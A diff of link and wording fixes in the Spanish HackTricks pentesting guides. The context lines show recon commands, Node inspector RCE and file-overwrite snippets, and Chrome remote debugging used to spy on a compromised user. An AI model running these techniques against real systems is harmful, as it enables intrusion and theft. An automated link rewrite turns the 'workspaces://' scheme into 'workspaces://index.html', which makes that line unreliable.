@@ -456,7 +456,7 @@ Puedes **monitorear** si se crean **nuevos subdominios** de un dominio monitorea
 ### **Buscando vulnerabilidades**
 
 Verifica posibles [**tomas de control de subdominios**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
-Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
+Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 
 Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en ejecución, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
 &#xNAN;_&#x4E;ote que a veces el subdominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._
@@ -464,9 +464,9 @@ Si encuentras algún **subdominio con una IP diferente** de las que ya encontras
 ## IPs
 
 En los pasos iniciales podrías haber **encontrado algunos rangos de IP, dominios y subdominios**.\
-Es hora de **recolectar todas las IPs de esos rangos** y de los **dominios/subdominios (consultas DNS).**
+Es hora de **recolectar todas las IPs de esos rangos** y para los **dominios/subdominios (consultas DNS).**
 
-Usando servicios de las siguientes **apis gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
+Usando servicios de las siguientes **APIs gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
 
 - [**https://securitytrails.com/**](https://securitytrails.com/)
 
@@ -476,7 +476,7 @@ También puedes verificar dominios que apuntan a una dirección IP específica u
 
 **Escanea todos los puertos de las IPs que no pertenecen a CDNs** (ya que probablemente no encontrarás nada interesante allí). En los servicios en ejecución descubiertos podrías **encontrar vulnerabilidades**.
 
-**Encuentra una** [**guía**](../pentesting-network/) **sobre cómo escanear hosts.**
+**Encuentra una** [**guía**](../pentesting-network/index.html) **sobre cómo escanear hosts.**
 
 ## Caza de servidores web
 
@@ -486,8 +486,8 @@ En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento
 
 Por favor, ten en cuenta que esto estará **orientado a la descubrimiento de aplicaciones web**, así que deberías **realizar el escaneo de vulnerabilidades** y **escaneo de puertos** también (**si está permitido** por el alcance).
 
-Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores** web usando [**masscan** se puede encontrar aquí](../pentesting-network/index.html#http-port-discovery).\
-Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y tratará de conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos:
+Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores web** usando [**masscan** se puede encontrar aquí](../pentesting-network/index.html#http-port-discovery).\
+Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y intentará conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos:
 ```bash
 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@@ -496,7 +496,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
 
 Ahora que has descubierto **todos los servidores web** presentes en el alcance (entre las **IPs** de la empresa y todos los **dominios** y **subdominios**) probablemente **no sepas por dónde empezar**. Así que, hagámoslo simple y comencemos tomando capturas de pantalla de todos ellos. Solo con **echar un vistazo** a la **página principal** puedes encontrar **puntos finales extraños** que son más **propensos** a ser **vulnerables**.
 
-Para llevar a cabo la idea propuesta puedes usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
+Para llevar a cabo la idea propuesta, puedes usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
 
 Además, podrías usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para revisar todas las **capturas de pantalla** y decirte **qué es probable que contenga vulnerabilidades**, y qué no.
 
@@ -512,13 +512,13 @@ También necesitarás listas de palabras de **palabras comunes utilizadas en buc
 
 Luego, con esas palabras deberías generar **permutaciones** (consulta el [**Segundo Ronda de Fuerza Bruta DNS**](#second-dns-bruteforce-round) para más información).
 
-Con las listas de palabras resultantes podrías usar herramientas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
+Con las listas de palabras resultantes, podrías usar herramientas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
 
 Recuerda que al buscar Activos en la Nube debes **buscar más que solo buckets en AWS**.
 
 ### **Buscando vulnerabilidades**
 
-Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** deberías **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas.
+Si encuentras cosas como **buckets abiertos o funciones de nube expuestas**, debes **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas.
 
 ## Correos Electrónicos
 
@@ -531,7 +531,7 @@ Con los **dominios** y **subdominios** dentro del alcance, básicamente tienes t
 
 ### **Buscando vulnerabilidades**
 
-Los correos electrónicos serán útiles más adelante para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing.
+Los correos electrónicos serán útiles más tarde para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing.
 
 ## Filtraciones de Credenciales
 
@@ -592,9 +592,9 @@ También hay servicios gratuitos que te permiten **escanear repositorios públic
 
 - [**Snyk**](https://app.snyk.io/)
 
-## [**Metodología de Pentesting Web**](../../network-services-pentesting/pentesting-web/)
+## [**Metodología de Pentesting Web**](../../network-services-pentesting/pentesting-web/index.html)
 
-La **mayoría de las vulnerabilidades** encontradas por cazadores de bugs residen dentro de **aplicaciones web**, así que en este punto me gustaría hablar sobre una **metodología de pruebas de aplicaciones web**, y puedes [**encontrar esta información aquí**](../../network-services-pentesting/pentesting-web/).
+La **mayoría de las vulnerabilidades** encontradas por cazadores de bugs residen dentro de **aplicaciones web**, así que en este punto me gustaría hablar sobre una **metodología de pruebas de aplicaciones web**, y puedes [**encontrar esta información aquí**](../../network-services-pentesting/pentesting-web/index.html).
 
 También quiero hacer una mención especial a la sección [**Herramientas de escaneo automático de código abierto**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), ya que, si no deberías esperar que encuentren vulnerabilidades muy sensibles, son útiles para implementarlas en **flujos de trabajo para tener alguna información web inicial.**
 

src/generic-methodologies-and-resources/pentesting-methodology.md

@@ -13,14 +13,14 @@ _Los logotipos de Hacktricks fueron diseñados por_ [_@ppiernacho_](https://www.
 
 ¿Tienes **acceso físico** a la máquina que deseas atacar? Deberías leer algunos [**trucos sobre ataques físicos**](../hardware-physical-access/physical-attacks.md) y otros sobre [**escapar de aplicaciones GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
 
-### 1 - [Descubriendo hosts dentro de la red](pentesting-network/index.html#discovering-hosts)/ [Descubriendo Activos de la empresa](external-recon-methodology/)
+### 1 - [Descubriendo hosts dentro de la red](pentesting-network/index.html#discovering-hosts)/ [Descubriendo Activos de la empresa](external-recon-methodology/index.html)
 
 **Dependiendo** si la **prueba** que estás realizando es una **prueba interna o externa**, puede que te interese encontrar **hosts dentro de la red de la empresa** (prueba interna) o **encontrar activos de la empresa en internet** (prueba externa).
 
 > [!NOTE]
 > Ten en cuenta que si estás realizando una prueba externa, una vez que logres obtener acceso a la red interna de la empresa, deberías reiniciar esta guía.
 
-### **2-** [**Divirtiéndote con la red**](pentesting-network/) **(Interna)**
+### **2-** [**Divirtiéndote con la red**](pentesting-network/index.html) **(Interna)**
 
 **Esta sección solo se aplica si estás realizando una prueba interna.**\
 Antes de atacar un host, tal vez prefieras **robar algunas credenciales** **de la red** o **snifar** algunos **datos** para aprender **pasivamente/activamente (MitM)** qué puedes encontrar dentro de la red. Puedes leer [**Pentesting Network**](pentesting-network/index.html#sniffing).
@@ -31,15 +31,15 @@ Lo primero que debes hacer al **buscar vulnerabilidades en un host** es saber qu
 
 ### **4-** [Buscando exploits de versiones de servicio](../generic-hacking/search-exploits.md)
 
-Una vez que sepas qué servicios están corriendo, y tal vez su versión, debes **buscar vulnerabilidades conocidas**. Quizás tengas suerte y haya un exploit que te dé una shell...
+Una vez que sepas qué servicios están corriendo, y tal vez su versión, debes **buscar vulnerabilidades conocidas**. Tal vez tengas suerte y haya un exploit que te dé una shell...
 
 ### **5-** Servicios de Pentesting
 
 Si no hay ningún exploit interesante para algún servicio en ejecución, deberías buscar **configuraciones incorrectas comunes en cada servicio en ejecución.**
 
-**Dentro de este libro encontrarás una guía para pentestear los servicios más comunes** (y otros que no son tan comunes)**. Por favor, busca en el índice de la izquierda la** _**SECCIÓN PENTESTING**_ **(los servicios están ordenados por sus puertos predeterminados).**
+**Dentro de este libro encontrarás una guía para pentestear los servicios más comunes** (y otros que no son tan comunes)**. Por favor, busca en el índice de la izquierda la sección _**PENTESTING**_ **(los servicios están ordenados por sus puertos predeterminados).**
 
-**Quiero hacer una mención especial a la** [**parte de Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ya que es la más extensa).**\
+**Quiero hacer una mención especial a la parte de** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **(ya que es la más extensa).**\
 Además, aquí puedes encontrar una pequeña guía sobre cómo [**encontrar vulnerabilidades conocidas en software**](../generic-hacking/search-exploits.md).
 
 **Si tu servicio no está en el índice, busca en Google** otros tutoriales y **déjame saber si quieres que lo agregue.** Si **no puedes encontrar nada** en Google, realiza tu **propio pentesting ciego**, podrías comenzar por **conectarte al servicio, fuzzing y leyendo las respuestas** (si las hay).
@@ -50,17 +50,17 @@ También hay varias herramientas que pueden realizar **evaluaciones automáticas
 
 #### **5.2 Fuerza Bruta en servicios**
 
-En algunos escenarios, un **Brute-Force** podría ser útil para **comprometer** un **servicio**. [**Encuentra aquí una CheatSheet de diferentes servicios de fuerza bruta**](../generic-hacking/brute-force.md)**.**
+En algunos escenarios, una **Fuerza Bruta** podría ser útil para **comprometer** un **servicio**. [**Encuentra aquí una CheatSheet de diferentes servicios de fuerza bruta**](../generic-hacking/brute-force.md)**.**
 
-### 6- [Phishing](phishing-methodology/)
+### 6- [Phishing](phishing-methodology/index.html)
 
-Si en este punto no has encontrado ninguna vulnerabilidad interesante, **puedes necesitar intentar algún phishing** para entrar en la red. Puedes leer mi metodología de phishing [aquí](phishing-methodology/):
+Si en este punto no has encontrado ninguna vulnerabilidad interesante, **puedes necesitar intentar algún phishing** para entrar en la red. Puedes leer mi metodología de phishing [aquí](phishing-methodology/index.html):
 
-### **7-** [**Obteniendo Shell**](../generic-hacking/reverse-shells/)
+### **7-** [**Obteniendo Shell**](../generic-hacking/reverse-shells/index.html)
 
-De alguna manera deberías haber encontrado **alguna forma de ejecutar código** en la víctima. Entonces, [una lista de posibles herramientas dentro del sistema que puedes usar para obtener una shell inversa sería muy útil](../generic-hacking/reverse-shells/).
+De alguna manera deberías haber encontrado **alguna forma de ejecutar código** en la víctima. Entonces, [una lista de posibles herramientas dentro del sistema que puedes usar para obtener una shell inversa sería muy útil](../generic-hacking/reverse-shells/index.html).
 
-Especialmente en Windows, podrías necesitar ayuda para **evitar antivirus**: [**Revisa esta página**](../windows-hardening/av-bypass.md)**.**\\
+Especialmente en Windows, podrías necesitar ayuda para **evitar antivirus**: [**Consulta esta página**](../windows-hardening/av-bypass.md)**.**\\
 
 ### 8- Dentro
 
@@ -68,7 +68,7 @@ Si tienes problemas con la shell, aquí puedes encontrar una pequeña **compilac
 
 - [**Linux**](../linux-hardening/useful-linux-commands.md)
 - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
-- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
+- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
 
 ### **9 -** [**Exfiltración**](../generic-hacking/exfiltration.md)
 
@@ -79,19 +79,19 @@ Probablemente necesitarás **extraer algunos datos de la víctima** o incluso **
 #### **10.1- Privesc Local**
 
 Si no eres **root/Administrador** dentro de la máquina, deberías encontrar una manera de **escalar privilegios.**\
-Aquí puedes encontrar una **guía para escalar privilegios localmente en** [**Linux**](../linux-hardening/privilege-escalation/) **y en** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
+Aquí puedes encontrar una **guía para escalar privilegios localmente en** [**Linux**](../linux-hardening/privilege-escalation/index.html) **y en** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\
 También deberías revisar estas páginas sobre cómo funciona **Windows**:
 
-- [**Autenticación, Credenciales, Privilegios de Token y UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
-- Cómo funciona [**NTLM**](../windows-hardening/ntlm/)
+- [**Autenticación, Credenciales, Privilegios de Token y UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
+- Cómo funciona [**NTLM**](../windows-hardening/ntlm/index.html)
 - Cómo [**robar credenciales**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) en Windows
-- Algunos trucos sobre [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
+- Algunos trucos sobre [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)
 
 **No olvides revisar las mejores herramientas para enumerar rutas de Escalación de Privilegios locales en Windows y Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
 
 #### **10.2- Privesc de Dominio**
 
-Aquí puedes encontrar una [**metodología que explica las acciones más comunes para enumerar, escalar privilegios y persistir en un Active Directory**](../windows-hardening/active-directory-methodology/). Aunque esto es solo una subsección de una sección, este proceso podría ser **extremadamente delicado** en una asignación de Pentesting/Red Team.
+Aquí puedes encontrar una [**metodología que explica las acciones más comunes para enumerar, escalar privilegios y persistir en un Active Directory**](../windows-hardening/active-directory-methodology/index.html). Aunque esto es solo una subsección de una sección, este proceso podría ser **extremadamente delicado** en una asignación de Pentesting/Red Team.
 
 ### 11 - POST
 
@@ -111,20 +111,20 @@ TODO: Completar persistencia Post en Windows y Linux
 
 Con las **credenciales recopiladas** podrías tener acceso a otras máquinas, o tal vez necesites **descubrir y escanear nuevos hosts** (comenzar la Metodología de Pentesting nuevamente) dentro de nuevas redes donde tu víctima está conectada.\
 En este caso, el tunneling podría ser necesario. Aquí puedes encontrar [**un post que habla sobre tunneling**](../generic-hacking/tunneling-and-port-forwarding.md).\
-Definitivamente también deberías revisar el post sobre [Metodología de pentesting de Active Directory](../windows-hardening/active-directory-methodology/). Allí encontrarás trucos interesantes para moverte lateralmente, escalar privilegios y extraer credenciales.\
-Revisa también la página sobre [**NTLM**](../windows-hardening/ntlm/), podría ser muy útil para pivotar en entornos de Windows.
+Definitivamente también deberías revisar el post sobre [Metodología de pentesting de Active Directory](../windows-hardening/active-directory-methodology/index.html). Allí encontrarás trucos interesantes para moverte lateralmente, escalar privilegios y extraer credenciales.\
+Consulta también la página sobre [**NTLM**](../windows-hardening/ntlm/index.html), podría ser muy útil para pivotar en entornos de Windows.
 
 ### MÁS
 
-#### [Aplicaciones Android](../mobile-pentesting/android-app-pentesting/)
+#### [Aplicaciones Android](../mobile-pentesting/android-app-pentesting/index.html)
 
 #### **Explotación**
 
-- [**Explotación Básica en Linux**](broken-reference/)
+- [**Explotación Básica en Linux**](broken-reference/index.html)
 - [**Explotación Básica en Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [**Herramientas básicas de explotación**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
+- [**Herramientas básicas de explotación**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
 
-#### [**Python Básico**](python/)
+#### [**Python Básico**](python/index.html)
 
 #### **Trucos de Cripto**
 

src/generic-methodologies-and-resources/python/README.md

@@ -7,8 +7,8 @@
 
 - [**Trucos de hacking de Pyscript**](pyscript.md)
 - [**Deserializaciones de Python**](../../pentesting-web/deserialization/index.html#python)
-- [**Trucos para eludir sandboxes de python**](bypass-python-sandboxes/)
-- [**Sintaxis básica de solicitudes web en python**](web-requests.md)
-- [**Sintaxis y bibliotecas básicas de python**](basic-python.md)
+- [**Trucos para eludir sandboxes de Python**](bypass-python-sandboxes/index.html)
+- [**Sintaxis básica de solicitudes web en Python**](web-requests.md)
+- [**Sintaxis y bibliotecas básicas de Python**](basic-python.md)
 
 {{#include ../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md

@@ -13,7 +13,7 @@ La página principal de una aplicación Flask probablemente tendrá el **objeto
 app = Flask(__name__, template_folder='templates')
 app.secret_key = '(:secret:)'
 ```
-En este caso, es posible acceder a este objeto utilizando cualquier gadget para **acceder a objetos globales** de la [**página de Bypass Python sandboxes**](bypass-python-sandboxes/).
+En este caso, es posible acceder a este objeto utilizando cualquier gadget para **acceder a objetos globales** de la [**página de Bypass Python sandboxes**](bypass-python-sandboxes/index.html).
 
 En el caso de que **la vulnerabilidad esté en un archivo python diferente**, necesitas un gadget para recorrer archivos y llegar al principal para **acceder al objeto global `app.secret_key`** para cambiar la clave secreta de Flask y poder [**escalar privilegios** conociendo esta clave](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
 

src/linux-hardening/linux-privilege-escalation-checklist.md

@@ -72,24 +72,24 @@
 
 - [ ] Enumeración de usuarios/grupos **genéricos**
 - [ ] ¿Tienes un **UID muy grande**? ¿Es la **máquina** **vulnerable**?
-- [ ] ¿Puedes [**escalar privilegios gracias a un grupo**](privilege-escalation/interesting-groups-linux-pe/) al que perteneces?
+- [ ] ¿Puedes [**escalar privilegios gracias a un grupo**](privilege-escalation/interesting-groups-linux-pe/index.html) al que perteneces?
 - [ ] ¿Datos del **portapapeles**?
 - [ ] ¿Política de contraseñas?
 - [ ] Intenta **usar** cada **contraseña conocida** que hayas descubierto previamente para iniciar sesión **con cada** posible **usuario**. Intenta iniciar sesión también sin una contraseña.
 
 ### [PATH escribible](privilege-escalation/index.html#writable-path-abuses)
 
-- [ ] Si tienes **privilegios de escritura sobre alguna carpeta en PATH** podrías ser capaz de escalar privilegios
+- [ ] Si tienes **privilegios de escritura sobre alguna carpeta en PATH**, podrías ser capaz de escalar privilegios
 
 ### [Comandos SUDO y SUID](privilege-escalation/index.html#sudo-and-suid)
 
 - [ ] ¿Puedes ejecutar **cualquier comando con sudo**? ¿Puedes usarlo para LEER, ESCRIBIR o EJECUTAR algo como root? ([**GTFOBins**](https://gtfobins.github.io))
 - [ ] ¿Hay algún **binario SUID explotable**? ([**GTFOBins**](https://gtfobins.github.io))
-- [ ] ¿Los [**comandos sudo** están **limitados** por **path**? ¿Puedes **eludir** las restricciones](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
-- [ ] [**Binario Sudo/SUID sin path indicado**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
-- [ ] [**Binario SUID especificando path**](privilege-escalation/index.html#suid-binary-with-command-path)? Eludir
+- [ ] ¿Los [**comandos sudo** están **limitados** por **ruta**? ¿Puedes **eludir** las restricciones](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
+- [ ] [**Binario Sudo/SUID sin ruta indicada**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
+- [ ] [**Binario SUID especificando ruta**](privilege-escalation/index.html#suid-binary-with-command-path)? Eludir
 - [ ] [**Vuln de LD_PRELOAD**](privilege-escalation/index.html#ld_preload)
-- [ ] [**Falta de .so en binario SUID**](privilege-escalation/index.html#suid-binary-so-injection) desde una carpeta escribible?
+- [ ] [**Falta de .so en binario SUID**](privilege-escalation/index.html#suid-binary-so-injection) de una carpeta escribible?
 - [ ] [**Tokens SUDO disponibles**](privilege-escalation/index.html#reusing-sudo-tokens)? [**¿Puedes crear un token SUDO**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)?
 - [ ] ¿Puedes [**leer o modificar archivos sudoers**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)?
 - [ ] ¿Puedes [**modificar /etc/ld.so.conf.d/**](privilege-escalation/index.html#etc-ld-so-conf-d)?
@@ -118,11 +118,11 @@
 - [ ] **Archivos de perfil** - ¿Leer datos sensibles? ¿Escribir para privesc?
 - [ ] **Archivos passwd/shadow** - ¿Leer datos sensibles? ¿Escribir para privesc?
 - [ ] **Verificar carpetas comúnmente interesantes** en busca de datos sensibles
-- [ ] **Ubicación extraña/Archivos propiedad,** a los que podrías tener acceso o alterar archivos ejecutables
+- [ ] **Ubicación/Archivos extraños,** a los que podrías tener acceso o alterar archivos ejecutables
 - [ ] **Modificados** en los últimos minutos
 - [ ] **Archivos de base de datos Sqlite**
 - [ ] **Archivos ocultos**
-- [ ] **Script/Binarios en PATH**
+- [ ] **Scripts/Binarios en PATH**
 - [ ] **Archivos web** (¿contraseñas?)
 - [ ] **¿Copias de seguridad?**
 - [ ] **Archivos conocidos que contienen contraseñas**: Usa **Linpeas** y **LaZagne**

src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md

@@ -1,15 +1,15 @@
-# Abuso del depurador de Node/CEF
+# Abuso del depurador Node inspector/CEF
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Información Básica
 
-[De la documentación](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Cuando se inicia con el interruptor `--inspect`, un proceso de Node.js escucha a un cliente de depuración. Por **defecto**, escuchará en el host y puerto **`127.0.0.1:9229`**. Cada proceso también se asigna un **UUID** **único**.
+[Desde la documentación](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Cuando se inicia con el interruptor `--inspect`, un proceso de Node.js escucha a un cliente de depuración. Por **defecto**, escuchará en el host y puerto **`127.0.0.1:9229`**. Cada proceso también se asigna un **UUID** **único**.
 
 Los clientes del inspector deben conocer y especificar la dirección del host, el puerto y el UUID para conectarse. Una URL completa se verá algo así como `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
 
 > [!WARNING]
-> Dado que el **depurador tiene acceso completo al entorno de ejecución de Node.js**, un actor malicioso que pueda conectarse a este puerto puede ser capaz de ejecutar código arbitrario en nombre del proceso de Node.js (**posible escalada de privilegios**).
+> Dado que el **depurador tiene acceso completo al entorno de ejecución de Node.js**, un actor malicioso capaz de conectarse a este puerto puede ser capaz de ejecutar código arbitrario en nombre del proceso de Node.js (**posible escalada de privilegios**).
 
 Hay varias formas de iniciar un inspector:
 ```bash
@@ -48,7 +48,7 @@ kill -s SIGUSR1 <nodejs-ps>
 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
 ```
 > [!NOTE]
-> Esto es útil en contenedores porque **cerrar el proceso y comenzar uno nuevo** con `--inspect` **no es una opción** porque el **contenedor** será **eliminado** junto con el proceso.
+> Esto es útil en contenedores porque **detener el proceso y comenzar uno nuevo** con `--inspect` **no es una opción** porque el **contenedor** será **eliminado** junto con el proceso.
 
 ### Conectar al inspector/debugger
 
@@ -78,7 +78,7 @@ La herramienta [**https://github.com/taviso/cefdebug**](https://github.com/tavis
 ## RCE en el Depurador/Inspector de NodeJS
 
 > [!NOTE]
-> Si llegó aquí buscando cómo obtener [**RCE de un XSS en Electron, consulte esta página.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
+> Si llegó aquí buscando cómo obtener [**RCE a partir de un XSS en Electron, consulte esta página.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html)
 
 Algunas formas comunes de obtener **RCE** cuando puede **conectarse** a un **inspector** de Node son usar algo como (parece que esto **no funcionará en una conexión al protocolo de Chrome DevTools**):
 ```javascript
@@ -92,9 +92,9 @@ Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" }))
 Puedes consultar la API aquí: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
 En esta sección solo listaré cosas interesantes que he encontrado que la gente ha utilizado para explotar este protocolo.
 
-### Inyección de Parámetros a través de Enlaces Profundos
+### Inyección de Parámetros a través de Deep Links
 
-En el [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security descubrió que una aplicación basada en CEF **registró un URI personalizado** en el sistema (workspaces://) que recibía el URI completo y luego **lanzaba la aplicación basada en CEF** con una configuración que se construía parcialmente a partir de ese URI.
+En el [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security descubrió que una aplicación basada en CEF **registró un URI personalizado** en el sistema (workspaces://index.html) que recibía el URI completo y luego **lanzaba la aplicación basada en CEF** con una configuración que se construía parcialmente a partir de ese URI.
 
 Se descubrió que los parámetros del URI eran decodificados y utilizados para lanzar la aplicación básica de CEF, permitiendo a un usuario **inyectar** la bandera **`--gpu-launcher`** en la **línea de comandos** y ejecutar cosas arbitrarias.
 
@@ -106,7 +106,7 @@ Ejecutará un calc.exe.
 
 ### Sobrescribir Archivos
 
-Cambia la carpeta donde **se van a guardar los archivos descargados** y descarga un archivo para **sobrescribir** el **código fuente** de la aplicación que se utiliza con frecuencia con tu **código malicioso**.
+Cambia la carpeta donde **se van a guardar los archivos descargados** y descarga un archivo para **sobrescribir** el **código fuente** de la aplicación que se usa con frecuencia con tu **código malicioso**.
 ```javascript
 ws = new WebSocket(url) //URL of the chrome devtools service
 ws.send(
@@ -128,7 +128,7 @@ Según esta publicación: [https://medium.com/@knownsec404team/counter-webdriver
 
 En un entorno real y **después de comprometer** una PC de usuario que utiliza un navegador basado en Chrome/Chromium, podrías lanzar un proceso de Chrome con **la depuración activada y redirigir el puerto de depuración** para que puedas acceder a él. De esta manera, podrás **inspeccionar todo lo que la víctima hace con Chrome y robar información sensible**.
 
-La forma sigilosa es **terminar todos los procesos de Chrome** y luego llamar a algo como
+La forma sigilosa es **terminar cada proceso de Chrome** y luego llamar a algo como
 ```bash
 Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
 ```

src/macos-hardening/macos-security-and-privilege-escalation/README.md

@@ -79,7 +79,7 @@ Para este tipo de vulnerabilidades, no olvides **verificar instaladores `.pkg` v
 macos-files-folders-and-binaries/macos-installers-abuse.md
 {{#endref}}
 
-### Controladores de Aplicaciones de Extensión de Archivo y Esquema de URL
+### Manejadores de Extensiones de Archivos y Esquemas de URL
 
 Aplicaciones extrañas registradas por extensiones de archivo podrían ser abusadas y diferentes aplicaciones pueden registrarse para abrir protocolos específicos.
 
@@ -95,7 +95,7 @@ Por lo tanto, un atacante que quiera comprometer con éxito una máquina macOS n
 
 Estos privilegios generalmente se otorgan en forma de **derechos** con los que la aplicación está firmada, o la aplicación podría solicitar algunos accesos y después de que el **usuario los apruebe**, pueden encontrarse en las **bases de datos TCC**. Otra forma en que un proceso puede obtener estos privilegios es siendo un **hijo de un proceso** con esos **privilegios**, ya que generalmente son **heredados**.
 
-Sigue estos enlaces para encontrar diferentes formas de [**escalar privilegios en TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), para [**eludir TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) y cómo en el pasado [**se ha eludido SIP**](macos-security-protections/macos-sip.md#sip-bypasses).
+Sigue estos enlaces para encontrar diferentes formas de [**escalar privilegios en TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), para [**eludir TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) y cómo en el pasado [**se ha eludido SIP**](macos-security-protections/macos-sip.md#sip-bypasses).
 
 ## Escalación de Privilegios Tradicional en macOS
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md

@@ -17,11 +17,11 @@ El derecho **`com.apple.rootless.install`** permite **eludir SIP**. Consulte [es
 
 ### **`com.apple.system-task-ports` (anteriormente llamado `task_for_pid-allow`)**
 
